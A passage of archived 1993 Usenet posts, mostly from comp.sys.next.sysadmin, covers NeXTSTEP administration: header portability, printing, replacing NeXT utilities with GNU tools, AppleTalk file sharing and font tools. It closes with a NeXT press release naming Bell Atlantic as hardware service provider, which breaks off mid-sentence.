one and their HURD (may or may not support full UNIX semantics) has no release
date. As Mike Bushnell declined to give any release date at last weeks MachNIX
conference saying "software folks never know how fast they'll work". Your
GNU copyright fears are a none issue too. Many system vendors supply GNU
software - esp. the compiler.
David.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: unistd.h
Message-ID: <1993Apr28.091542.2175@csus.edu>
Followup-To: comp.sys.next.programmer
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Apr27.212436.3532@proximus.north.de>
Date: Wed, 28 Apr 1993 09:15:42 GMT
Apologies if this comes across as a flame, but it seems that
every couple of weeks someone complains that they can't port
something because it wants some .h file that NeXT doesn't
provide, and this topic really needs to be taken up in the FAQ if
it isn't there already.
Reality: different flavors of UNIX differ in subtle ways. Things
didn't start out that way, but for various reasons (vendors
trying to "proprietize" "open" systems, outright sabotage by
POSIX thugs, etc.) #include files, libraries, compiler and linker
options vary between systems. NeXT is no better or worse than
any other UNIX vendor in this regard.
For the most part, portability issues are well understood, but
it's incumbent on programmers to be aware of those places where
#ifdefs, system-dependent modules, and/or diverse Makefiles are
needed. It's much harder to retrofit a system-specific source
than to build in portability from the start. When I write
something on a NeXT, I generally tend toward one of two extremes:
either I know it hasn't got a prayer of ever running on anything
but a NeXT, in which case I'll optimize it specifically for
NeXTSTEP, or I'll write it to be as reusable as possible. Being
at a large university gives me access to many different kinds of
systems, so I've developed a mindset towards portable code.
BEFORE YOU POST TO THE NET: what happens if you simply remove
the offending #include? You'd be surprised how often people
include stuff out of habit that they don't even use. In many
cases things that one system defines in one file are defined
elsewhere on another--and many of the standard #include files
themselves #include others they depend on. So there's a good
chance that nuking one line does the trick. If it doesn't, at
least you'll know what the _true_ dependency is, and you can
"grep" though the .h files you do have to see what might need
to be substituted. A look at <unistd.h> on Another UNIX System
reveals that it mostly defines things that NeXT has in <stdio.h>,
<fcntl.h>, and <libc.h>. Again, the question isn't "where is
unistd.h?" but "what was the point of including it in the first
place?"
Sometimes you have to deal with slightly different paradigms,
e.g. both System V and BSD have opendir/readdir, but the former
uses a struct dirent, where the latter uses struct direct.
In other cases, you may be have to deal with radically different
approaches (e.g. terminal I/O).
Followups to c.s.n.p please--this is not germane to either
newsgroup you originally posted to.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: Help! Loginwindow not appearing on startup
Message-ID: <1993Apr28.043053.285@relief.com>
Sender: jjfeiler@relief.com
Organization: relief consulting
Date: Wed, 28 Apr 1993 04:30:53 GMT
I'm having a rather odd problem. When I boot my system, the startup of
nmserver seems to be dying. I get an error message on the console, something
like:
tcp_listener.bind failed: errno=48
TCP: panic.
or something like that. The window server starts, and the mouse cursor
appears in the upper right corner, but the loginwindow never appears.
Strangely enough, if I boot single-user with bsd-s, then immediately ^D to
begin multi-user startup, everything is hunky-dory.
Does anybody have any ideas what could be causing nmserver problems?
--
John Feiler jjfeiler@relief.com
4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin
From: Becki Kain <beckers@imagine.com>
Subject: newsgrazer posting
Message-ID: <1993Apr28.134022.5716@imagine.com>
Sender: beckers@imagine.com
Organization: Imagine Multimedia, Inc., Ann Arbor, MI, USA
Date: Wed, 28 Apr 1993 13:40:22 GMT
hi all. we're running newsgrazer on our nexts. everyone in the company
can read news fine, but only three people can post. all other posts end
up in ~/dead.article. i don't think it's a permissions problem. any help
would be great.
thanks
beckers
---
Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com nextmail
welcome
"saw the news last night - all illustrated with cartoons" joe jackson
--
Becki Kain - Imagine Multimedia, Inc. - beckers@imagine.com nextmail welcome
"saw the news last night - all illustrated with cartoons" joe jackson
From: u-magpie@mcl.ucsb.edu (Mark Dadgar -NeXT CC)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: LaserJet 4 and Ethernet Remote Printing - HELP!
Message-ID: <u-magpie.735874969@mcl>
Date: 27 Apr 93 01:42:49 GMT
Sender: root@ucsbcsl.ucsb.edu
Followup-To: comp.sys.next.misc
I've got the LJ configured with the correct IP address, netmask, and
default gateway. I created a NetInfo entry for both the printer (in
machines) and the printer (in printers).
The printcap for the printer looks like this:
MIS_Suite105: \
:rm=mis_printer:rp=mis_printer:lp=:ty=HP LaserJet 4 PostScript: \
:note=:sd=/usr/spool/NeXT/MIS_Suite105:lo=lock:
The machines entry for mis_printer has the name, the IP address, and the
ethernet address.
I can ping the printer just fine.
I've got syslog on the printer pointing to my machine, and error
messages (like if I were to take the printer off-line) show up
on my console.
But, lpc on my NeXT says "Waiting for mis_printer to come up." The console
says "connection to mis_printer is down."
RFC 1179 (regarding lpd) says that the printer subsystem listens on
port 515. The JetDirect manual says the card/printer waits for a
connection on port 9100.
Has anyone gotten this combination working? I don't care how it's done,
I just want it done. Printing 1.5Mb PS images at 57,600bd is painful,
to say the least.
FYI, I'm running a 16Mb Mono Turbo with NS3.0 (well, I'm forbidden to
say any different... ). :)
Thanks for any help! I can provide more info via email. Posting
is currently broken at our site, but mail will be forwarded from
this account. I also set the Reply-To.
- Mark
Mark Dadgar, NeXT SysAdmin | Some go up, some go down
William Morris Agency | Some go thirsty, some just drown
mdadgar@wma.com (NeXTmail) | "That's the law 'round here"
I voted for Bill & Opus | Said the King of Sunset Town
--
Mark Dadgar | A pretty sight it seemed to be
UCSB NeXT Campus Consultant | An avenue of eternal peace
u-magpie@mcl.mcl.ucsb.edu | But he said "What is here can soon burn down...
Bill & Opus - '92 | I'm the King of Sunset Town"
From: nevai@ops.mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: Replacing NeXT UNIX with GNU
Date: 28 Apr 1993 16:26:47 GMT
Organization: Department of Mathematics, The Ohio State University
Message-ID: <1rmb87$8id@mathserv.mps.ohio-state.edu>
References: <C66JB1.H20@mentor.cc.purdue.edu>
In article <C66JB1.H20@mentor.cc.purdue.edu> towers!mystic!kareth@gator.rn.com azt mondja:
:
:I'm interested in hearing about folks who have replaced the majority
:of there NeXT UNIX programs with GNU ones. The more I use the the
:NeXT supplied UNIX programs, the more I find that I want to use the
:GNU ones. Almost everything is provided by GNU already. Compilers,
I am one of those and I am very happy. Espesially with gtar and gawk but the
others are great too. I understand that the NeXT cc is gcc. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.advocacy
Subject: Re: Replacing NeXT UNIX with GNU
Date: Wed, 28 Apr 1993 13:31:03 -0400
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
Message-ID: <QfrfxLW00WB3QCh4JV@andrew.cmu.edu>
In-Reply-To: <C66JB1.H20@mentor.cc.purdue.edu>
Excerpts from netnews.comp.sys.next.advocacy: 28-Apr-93 Replacing NeXT
UNIX with GNU by Sri Ramkrishna@sonata.cc
> I'm interested in hearing about folks who have replaced the majority
> of there NeXT UNIX programs with GNU ones. The more I use the the
> NeXT supplied UNIX programs, the more I find that I want to use the
> GNU ones. Almost everything is provided by GNU already. Compilers,
> make, file utilities, editors, etc. I'm curious as to how far one can
> go to, or in other words, if I were to complete replace /bin,
> /usr/bin, /usr/ucb, and however many other directories with the GNU
> counterparts, what programs would I have to *definitely* use the NeXT
> ones. I'm pretty sure I have to use NeXT make, but is that it?
Be very, very careful. There are a number of subtle dependancies built
into an operating system (such as undocumented flags), and blindly
replacing programs will probably trash your system into unusability.
There are *many* things that you must keep the version that NeXT
supplied. One key point is that you must put your newly compiled
versions back in the place where the NeXT version was. This is because
a number of scripts (such as the /etc/rc* stuff used when booting)
specify exact pathnames.
Try linking small programs using the -object flag. This will result in
a different type of executable that requires much less disk space, but
takes a little longer to load.
A list of programs that I've replaced without problems follows below.
Sure, you could replace others, but I only fixed things that I use and
care about....
> On a similar, but more theorectical note, does anybody have a clue as
> how feasible it would be to complete replace NeXT's BSD UNIX with GNU?
> I for one would definitely love to see GNU as the standard UNIX guts
> that NeXT uses. Every GNU program I've ever seen has always been
> superior to it's BSD/SysV counterpart, more features, better speed,
> etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE,
> BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would
> be if the GNU license stuff would prohibit me from making insanely
> great NeXTSTEP programs which I could copyright.
What are you going to do for a kernel? NeXTstep uses Mach, and seems to
be dependant upon Mach features.
And the list:
/bin
-rwxr-xr-x 1 root 34812 Dec 30 12:48 sed*
-rwxr-xr-x 1 root 7128 Jan 12 23:40 chmod*
-rwxr-xr-x 1 root 5572 Jan 12 23:40 chgrp*
-rwxr-xr-x 1 root 7576 Jan 12 23:40 dd*
-rwxr-xr-x 1 root 13516 Jan 12 23:40 cp*
-rwxr-xr-x 1 root 6852 Jan 12 23:40 df*
-rwxr-xr-x 1 root 12132 Feb 6 15:54 pr*
-rwxr-xr-x 1 root 229376 Feb 23 13:08 zsh*
-rwxr-xr-x 1 root 7184 Feb 23 13:46 cmp*
-rwxr-xr-x 1 root 51884 Feb 23 13:51 diff*
/usr/bin
-rwxr-xr-x 1 root 63624 Nov 2 21:26 etags*
-rwxr-xr-t 2 root 639024 Nov 2 22:01 emacs*
-rwxr-xr-x 1 root 40960 Nov 20 15:21 egrep*
-rwxr-xr-x 1 root 6288 Dec 30 14:08 shar*
lrwxrwxrwx 1 root 19 Jan 7 13:28 perl -> /usr/local/bin/perl*@
-rwsr-sr-x 1 uucp 352256 Jan 27 01:23 kermit*
-rwxr-xr-x 1 root 5288 Feb 6 15:54 comm*
-rwxr-xr-x 1 root 10040 Feb 6 15:54 join*
-rwxr-xr-x 1 root 18956 Feb 6 15:54 sort*
-rwxr-xr-x 1 root 5076 Feb 6 15:54 sum*
-rwxr-xr-x 1 root 7036 Feb 6 15:54 split*
-rwxr-xr-x 1 root 15532 Feb 6 15:54 tr*
-rwxr-xr-x 1 root 6332 Feb 6 15:54 uniq*
-rwxr-xr-x 1 root 13024 Feb 23 13:45 diff3*
/usr/ucb
-rwxr-xr-x 1 root 63624 Nov 2 21:27 ctags*
-rwxr-xr-x 1 root 5872 Feb 6 15:54 expand*
-rwxr-xr-x 1 root 5420 Feb 6 15:54 fold*
-rwxr-xr-x 1 root 5896 Feb 6 15:54 head*
-rwxr-xr-x 1 root 6076 Feb 6 15:54 unexpand*
-rwxr-xr-x 1 root 5252 Feb 6 15:54 wc*
-rwxr-xr-x 1 root 9136 Feb 6 15:54 tail*
lrwxrwxrwx 1 root 25 Feb 11 17:08 uncompress ->
/usr/local/bin/uncompress*@
-rwxr-xr-x 2 root 40960 Feb 13 11:34 zcat*
And here's part of my /usr/local/bin (for things that I'm afraid to
replace the NeXT versions of because of shell scripts, but that I want
the new versions of first in my path)....
-rwxr-xr-x 1 root 98304 Feb 6 09:29 tar*
-rwxr-xr-x 1 root 3280 Feb 6 15:54 cksum*
-rwxr-xr-x 1 root 6508 Feb 6 15:54 cat*
-rwxr-xr-x 1 root 6580 Feb 6 15:54 cut*
-rwxr-xr-x 1 root 31876 Feb 6 15:54 csplit*
-rwxr-xr-x 1 root 27552 Feb 6 15:54 nl*
-rwxr-xr-x 1 root 15284 Feb 6 15:54 od*
-rwxr-xr-x 1 root 26544 Feb 6 15:54 tac*
-rwxr-xr-x 1 root 872 Feb 9 09:44 ps2ascii*
-rwxr-xr-x 1 root 2208 Feb 9 09:48 rtf2ascii*
-rwxr-xr-x 2 root 40960 Feb 13 11:34 uncompress*
-rwxr-xr-x 1 root 16384 Feb 23 13:41 cmp*
-rwxr-xr-x 1 root 81920 Feb 27 11:38 flex*
-rwxr-xr-x 1 root 73728 Mar 3 20:44 bison*
-rwxr-xr-x 3 root 40960 Mar 15 14:32 gunzip*
-rwxr-xr-x 3 root 40960 Mar 15 14:32 gzip*
-rwxr-xr-x 3 root 40960 Mar 15 14:32 zcat*
-rwxr-xr-x 2 root 1864 Mar 15 14:32 zcmp*
-rwxr-xr-x 1 root 2959 Mar 15 14:32 znew*
-rwxr-xr-x 2 root 1864 Mar 15 14:32 zdiff*
-rwxr-xr-x 1 root 745 Mar 15 14:32 zmore*
-rwxr-xr-x 1 root 987 Mar 15 14:32 zforce*
-rwxr-xr-x 1 root 2949 Mar 15 14:32 gzexe*
-rwxr-xr-x 1 root 57344 Mar 20 13:51 less*
-rw-r--r-- 1 root 4745 Mar 20 13:51 less.hlp
-rwxr-xr-x 1 root 50852 Mar 20 13:51 lesskey*
-rwxr-xr-x 1 root 36244 Mar 20 14:22 ytalk*
Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :)
------------------------------------------+ 2. Cars are always real, even
AMS & normal mail: infidel@cmu.edu | when they're not.
Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends.
NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
Newsgroups: comp.sys.next.sysadmin
From: thompson@netcom.com
Subject: Help: "Some or all of your print job cannot be printed.."
Message-ID: <thompsonC67G9C.ML7@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Wed, 28 Apr 1993 17:51:12 GMT
Got a NeXTlaser on a turbo color that has been working find for about
11 months (w/3.0 for 4 months) and now it's acting up. Every now and then
when printing (from Webster, WP, Edit, etc.) I get a message similar to
the one in the subject (don't have the exact wording). Sometimes a page
comes out, usually nothing.
Any ideas? Powering down/up or rebooting usually solves the problem
(but is not a reasonable solution. :)
thanks!
Eric
Newsgroups: comp.sys.next.sysadmin
From: nwc (Nick Christopher)
Subject: Re: Alternative to ixBuild
Message-ID: <C67n12.1CA@ny.shl.com>
Sender: usenet@ny.shl.com (Net News)
Organization: SHL Systemhouse Inc.
References: <1993Apr22.120840.7420@softDesign.COM>
Date: Wed, 28 Apr 1993 20:17:25 GMT
>
> ixBuild -fman -Nwhatis -Ncat\* -V
>
> ...but ixBuild is no longer.
you should use "ixbuild -g" - note the capitolization has changed!
\n
Nicholas Christopher
Systemhouse
nwc@ny.shl.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: Replacing NeXT UNIX with GNU
In-Reply-To: aru@sonata.cc.purdue.edu's message of Wed, 28 Apr 1993 05:59:25 GMT
Message-ID: <KARTHY.93Apr28213757@dannug.dannug.dk>
Sender: news@dannug.dk (Usenet news owner)
Organization: Dannug - Danish NeXT Users Group
References: <C66JB1.H20@mentor.cc.purdue.edu>
Date: Wed, 28 Apr 1993 20:37:57 GMT
>>>>> On Wed, 28 Apr 1993 05:59:25 GMT, aru@sonata.cc.purdue.edu (Sri Ramkrishna) said:
Sri> I'm interested in hearing about folks who have replaced the majority
Sri> of there NeXT UNIX programs with GNU ones. The more I use the the
Sri> NeXT supplied UNIX programs, the more I find that I want to use the
Sri> GNU ones. Almost everything is provided by GNU already. Compilers,
Sri> make, file utilities, editors, etc. I'm curious as to how far one can
Sri> go to, or in other words, if I were to complete replace /bin,
Sri> /usr/bin, /usr/ucb, and however many other directories with the GNU
Sri> counterparts, what programs would I have to *definitely* use the NeXT
Sri> ones. I'm pretty sure I have to use NeXT make, but is that it?
I use close to all the GNU stuff, but don't substitute /usr/bin/* or
/bin/* stuff with the GNU counterparts as some programs might depend
on the NeXT versions. Place all your GNU stuff in /usr/local/bin and
have this directory first in your path. It also has the advantage,
that you can upgrade NeXTStep to the next version without reinstalling
all the GNU stuff.
My policy is to keep a clean NeXT-OS and then extend as mush as
possible in /usr/local/bin - it seems to work :-)
Quite a few of the programs in the standard path has been modified for
the NeXT to take advantage of netinfo.
Sri> On a similar, but more theorectical note, does anybody have a clue as
Sri> how feasible it would be to complete replace NeXT's BSD UNIX with GNU?
Sri> I for one would definitely love to see GNU as the standard UNIX guts
Sri> that NeXT uses. Every GNU program I've ever seen has always been
Sri> superior to it's BSD/SysV counterpart, more features, better speed,
Sri> etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE,
Sri> BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would
Sri> be if the GNU license stuff would prohibit me from making insanely
Sri> great NeXTSTEP programs which I could copyright.
Well - it could be great to have both GNU and NeXTSTEP, but GNU seems
to amin at the X11 windowsystem as the default graphical platform as it
is free and widely used already.
Therefore: to get the best from both worlds: keep a clean NeXTSTEP and
extend with all the improved GNU utilities.
Regards,
Karsten.
Newsgroups: comp.sys.next.advocacy,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Replacing NeXT UNIX with GNU
In-Reply-To: aru@sonata.cc.purdue.edu's message of Wed, 28 Apr 1993 05:59:25 GMT
To: aru@sonata.cc.purdue.edu (Sri Ramkrishna)
Message-ID: <CEDMAN.93Apr28091530@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <C66JB1.H20@mentor.cc.purdue.edu>
Date: Wed, 28 Apr 1993 13:15:30 GMT
In article <C66JB1.H20@mentor.cc.purdue.edu> aru@sonata.cc.purdue.edu (Sri Ramkrishna) writes:
I'm interested in hearing about folks who have replaced the majority
of there NeXT UNIX programs with GNU ones. The more I use the the
NeXT supplied UNIX programs, the more I find that I want to use the
GNU ones. Almost everything is provided by GNU already. Compilers,
make, file utilities, editors, etc. I'm curious as to how far one can
go to, or in other words, if I were to complete replace /bin,
/usr/bin, /usr/ucb, and however many other directories with the GNU
counterparts, what programs would I have to *definitely* use the NeXT
ones. I'm pretty sure I have to use NeXT make, but is that it?
Mostly this is no problem at all. Yet, to avoid breaking scripts and
complicating upgrades, I suggest the following which has worked well
for years of very intense shell usage on this NeXT. First, don't
overwrite any of the NeXT programs. Instead install all the GNU
utilities in /usr/local/bin (as well as all other custom UN*X binaries
without NeXTstep interfaces) and prepend their names with 'g' (most
GNU programs have an installation option to do this automatically).
Then add private aliases to your shell interactive initialization
files which cause the 'g' programs to be executed whenever you use one
of the standard utilities. This way you get full advantage of the GNU
tools without breaking anything.
On a similar, but more theorectical note, does anybody have a clue as
how feasible it would be to complete replace NeXT's BSD UNIX with GNU?
I for one would definitely love to see GNU as the standard UNIX guts
that NeXT uses. Every GNU program I've ever seen has always been
superior to it's BSD/SysV counterpart, more features, better speed,
etc. Would it not make a LOT of sense to dump the OLD, EXPENSIVE,
BUGGY BSD stuff and switch over to *FREE* GNU? My only concern would
be if the GNU license stuff would prohibit me from making insanely
great NeXTSTEP programs which I could copyright.
BSD is almost as free as GNU. If you don't believe me check out the
Net-2 distribution. As for the GNU OS, it is not in a state to be
installed by application level programmers, much less users. Also, do
you want to give up your beautiful NeXTstep interface and the ability
to use any commerical or PD programs available in binary only for your
NeXT ?
Carl Edman
From: danno@css.itd.umich.edu (Daniel T. Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Share"ing a file with a Mac via Appletalk
Date: 28 Apr 1993 22:04:39 GMT
Organization: University of Michigan - ITD Consulting and Support
Message-ID: <1rmv1nINNiuu@stimpy.css.itd.umich.edu>
References: <1993Apr27.145001.66846@cc.usu.edu>
slv0y@cc.usu.edu writes
> My NeXT machines can see my Mac via Appletalk just fine. (I'm using
3.0) What
> I want to know is if there is any way to "share" a directory on a
NeXT machine
> with the Mac so that the Mac can log into the NeXT and get at a
file?
None supported by NeXT. I don't know if you can use CAP (columbia
appletalk package) under 3.0 but I bet you can. This would
provide this capability.
there's also some commercial software that does this, I think.
There is also commercial software that allows a mac to access
directories exported via NFS.
Finally, there is a package produced here at umich called netatalk,
which has superior performance to CAP (since it's a kernel-level
driver) but currently it doesn't run on NeXTs, although supposedly
someone will be working on this this summer.
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/css unix support group
313/998-6265
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: Bug in Upgrade.app
Message-ID: <123861@netnews.upenn.edu>
Date: 29 Apr 93 01:11:24 GMT
Sender: news@netnews.upenn.edu
Followup-To: comp.sys.next.bugs
Organization: University of Pennsylvania
A few months ago I upgraded a machine to 3.0. I used this machine to
netupgrade ~20 more machines. I later discovered that none of these
machines could properly run netinfo applications, ie: whenever they called
an Open Domain dialog box, they crashed. The problem was tracked to
/usr/lib/netinfo on the upgrade server which was corrupt and hence
propagated throughout my network. I wrote the corruption off as a fluke.
Today on the next-managers list, someone complained about the same exact
thing. Replacing /usr/lib/netinfo from CD also solved his problem.
Anyone else experience this?
-dave
Newsgroups: comp.sys.next.sysadmin
From: aelman@cs.stanford.edu
Subject: Re: "Share"ing a file with a Mac via Appletalk
Message-ID: <1993Apr29.055249.22474@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1rmv1nINNiuu@stimpy.css.itd.umich.edu>
Date: Thu, 29 Apr 93 05:52:49 GMT
In article <1rmv1nINNiuu@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu
(Daniel T. Pritts) writes:
> slv0y@cc.usu.edu writes
> > My NeXT machines can see my Mac via Appletalk just fine. (I'm using
> 3.0) What
> > I want to know is if there is any way to "share" a directory on a
> NeXT machine
> > with the Mac so that the Mac can log into the NeXT and get at a
> file?
>
> None supported by NeXT. I don't know if you can use CAP (columbia
> appletalk package) under 3.0 but I bet you can. This would
> provide this capability.
>
We're using CAP on a NeXT running 3.0 and it works fine. At least I think
it's CAP (I'm almost positive it is).
Adam Elman
aelman@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: dg@synex.andi.org (David M. Gursky)
Subject: Re: install fonts
Message-ID: <C675y5.4MG@nextsrv1.andi.org>
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
References: <1993Apr27.101459.26251@news.csuohio.edu>
Date: Wed, 28 Apr 1993 14:08:28 GMT
In article <1993Apr27.101459.26251@news.csuohio.edu>
cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
> Isn't it true that the buildafmdir with NS 3.0 is broken and you need
> the copy from your 2.x system?
Works fine for me, but then again, I didn't set up this NeXT. On the
other hand, I think this NeXT postdates 3.0. To sum it up, I don't know.
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Zilla Question
Message-ID: <1993Apr29.132741.18214@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Thu, 29 Apr 1993 13:27:41 GMT
I've configured Zilla for the test app using ecm on 12 NeXTStations in
the same netinfor domain and tested it. It works fine.
Now from a 13th station (in a standalone netinfor domain) I wish to run
the ecm program using Zilla on the 12 workstations. I configure Zilla
on the 13th station and try to add hosts and I get an error about the
domains, so I try to add specific hosts and type in each one's explicit
ip name and identify it as a NeXT. The problem is that they now show
up as being unavailble. I can ping them and they are fine, I know they
are not busy,etc.
Is it possible to do what I'm saying and if so how?
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: File server and client architecture query
Message-ID: <1993Apr29.134454.6593@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Thu, 29 Apr 1993 13:44:54 GMT
Hello world,
I am in the process of designing the upgrade of our 40+ machines to NS
3.0, and would like to hear of your experiences and configuration.
What I am particularly interested in is your layout of file servers
(what files are being exported, from where and to where). Since
most of my users are developers, they need access to the
Developer.pkg and Demonstrations.pkg, as well as
the other packages. However, since the client
systems only have a 200mb hard drive, our file servers provide the
required files.
I noticed that under 3.0 these packages include many binaries,
libraries, and system files that are installed in many different
locations (/bin, /lib, /usr/bin, /usr/lib, /usr/etc, /private,
/usr/dict, etc.), besides the usual items in /Next___ and /Local___.
The binaries I can distribute via /usr/local/bin, and the same
with (I think) the libraries, but what about the others?
If you had a similar situation, and found a working solution,
please pass it on via email. I'll summarize for the Net.
Thanks in advance for your response,
Jason
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
From: jkelly@uclink.berkeley.edu (John M Kelly)
Newsgroups: comp.dcom.lans.ethernet,comp.sys.next.sysadmin
Subject: Re: problem between 2 machines
Followup-To: comp.dcom.lans.ethernet
Date: 29 Apr 1993 16:37:39 GMT
Organization: University of California, Berkeley
Sender: jkelly@uclink.berkeley.edu (John Kelly)
Distribution: na
Message-ID: <1rp08j$9lv@agate.berkeley.edu>
References: <1993Apr14.125716.1137@imagine.com>
Summary: Have you looked at distance between the two?
Keywords: ThinNet, Ethernet
In article <1993Apr14.125716.1137@imagine.com> beckers@imagine.com writes:
>we have a thin net setup with about 20 machines on it. machines x and y
>are in the same room together and are the only machines in the room (they
>are both next). a ping between machine x and y will lose packets (between
>1 and 10%) and the same will happen with a ping between y and x, but a
>ping from x to any other machine on the net or y and any other machine
>yields no packet lose.
You don't say how far apart x and y are. Is there at least 1.6 feet of
cable between one T and the other (Ethernet spec)?
Hope this helps.
--John
From: danno@css.itd.umich.edu (Daniel T. Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Share"ing a file with a Mac via Appletalk
Date: 29 Apr 1993 19:05:30 GMT
Organization: University of Michigan - ITD Consulting and Support
Message-ID: <1rp8tqINN1ep@stimpy.css.itd.umich.edu>
References: <1993Apr29.055249.22474@leland.Stanford.EDU>
aelman@cs.stanford.edu writes
> We're using CAP on a NeXT running 3.0 and it works fine. At least
I think
> it's CAP (I'm almost positive it is).
of course, as soon as I posted my earlier article, I got an e-mail
announcement about NS 3.1, which included an announcement about an
Add-on product from someone or another for $100 or so that does
this...
I'm sure it's in comp.sys.next.announce
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/css unix support group
313/998-6265
Newsgroups: comp.sys.next.sysadmin
From: gvh@metrosoft.com (Gordon Van Huizen)
Subject: Re: install fonts
Message-ID: <1993Apr29.162425.19267@metrosoft.com>
Sender: gvh@metrosoft.com
Organization: Metrosoft
References: <C675y5.4MG@nextsrv1.andi.org>
Date: Thu, 29 Apr 1993 16:24:25 GMT
In article <C675y5.4MG@nextsrv1.andi.org> dg@synex.andi.org (David M.
Gursky) writes:
> In article <1993Apr27.101459.26251@news.csuohio.edu>
> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes:
>
>> Isn't it true that the buildafmdir with NS 3.0 is broken and
>> you need the copy from your 2.x system?
>
> Works fine for me, but then again, I didn't set up this NeXT. [...]
> To sum it up, I don't know.
The 3.0 version has a limittation of 255 fonts per directory. Aside
from that it seems to work fine.
Gordon
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"Our ship is coming in, it just isn't black." - MTD 2/93
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: NeXT Selects Bell Atlantic as Authorized Service Provider
Date: 29 Apr 1993 20:54:22 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <1rpf9u$4fa@rosie.next.com>
News
FOR IMMEDIATE RELEASE
Contact:
Mary Keifer
Bell Atlantic Business Systems Services
215/296-2987
Elizabeth Pasternock/Margaret Densley
312/280-7000
Karen Steele
NeXT Computer, Inc
415/780-3781
NeXT Selects Bell Atlantic Business Systems
Services As Authorized Service Provider
FRAZER, Penn., April 26, 1993 - Bell Atlantic Business Systems
Services and NeXT Computer Inc., today signed an agreement that names
Bell Atlantic as the official service provider for NeXT workstations
and printers worldwide. On May 15, subject to standard closing
conditions, Bell Atlantic will assume responsibility for servicing
NeXT hardware in the U.S. under warranty as well as offer post
warranty support services.
"This is another very important step in taking care of our existing
customers as we complete our transition to a software-only company,"
said Steven P. Jobs, chairman, president and CEO of NeXT. "We chose
Bell Atlantic because of its multivendor support offerings, its
excellent reputation as a first-class service provider and its
ability to expand upon the services NeXT was able to offer. We also
wanted a service provider who, in the future could support the
Intel-based PCs running NEXTSTEP."
In addition to its NeXT service capabilities, Bell Atlantic supports
more than 640 other brands of hardware and software from 338 key
field offices worldwide. The company services more than 650,000
units for 60,000 customers at 80,000 sites worldwide.
"Our expertise in servicing NeXT products as well as hundreds of
other hardware and software products will help customers maximize
their overall equipment investment throughout the long term," said
Gene Greer, president of Bell Atlantic Business Systems Services.
"We will continue the high-quality service that NeXT offered their
customers. In addition, for customers with multivendor environments,
this is an ideal opportunity to consolidate efforts with one vendor."
NeXT equipment repairs will be conducted at the Hayward, Calif.
repair facility of Bell Atlantic Computer Technology Services. In
addition, Bell Atlantic intends to hire the NeXT service customer
representatives who currently support the NeXT service hotline.
Until May 15, NeXT users can obtain service support by contacting
1-800-848-NeXT. After May 15, NeXT users can call 1-800-NEX-NeXT to
reach the Bell Atlantic customer service department.
Bell Atlantic will attend NeXTWORLD Expo on May 25 through May 27, in
San Francisco to tell customers firsthand about the new hardware
service offerings.
For NeXT users not attending NeXTWORLD, Bell Atlantic plans to
distribute service information in mid-May.
Bell Atlantic Business Systems Services, headquartered in Frazer,
Penn., is the world's leading independent computer service
organization. It supports more IBM and DEC systems than any other
organization outside of the manufacturers, and services more than 640
other brands as well. In all, Bell Atlantic Business Systems
Services maintains more than 10,000 makes and models of computer
hardware.
Bell Atlantic Corporation, based in Philadelphia, is the parent of
telephone companies in the mid-Atlantic region, and one of the
largest cellular carriers in the nation. Bell Atlantic also is the
parent of companies that provide software and systems integration and
financial services.
NeXT develops and markets the industry-acclaimed NEXTSTEP
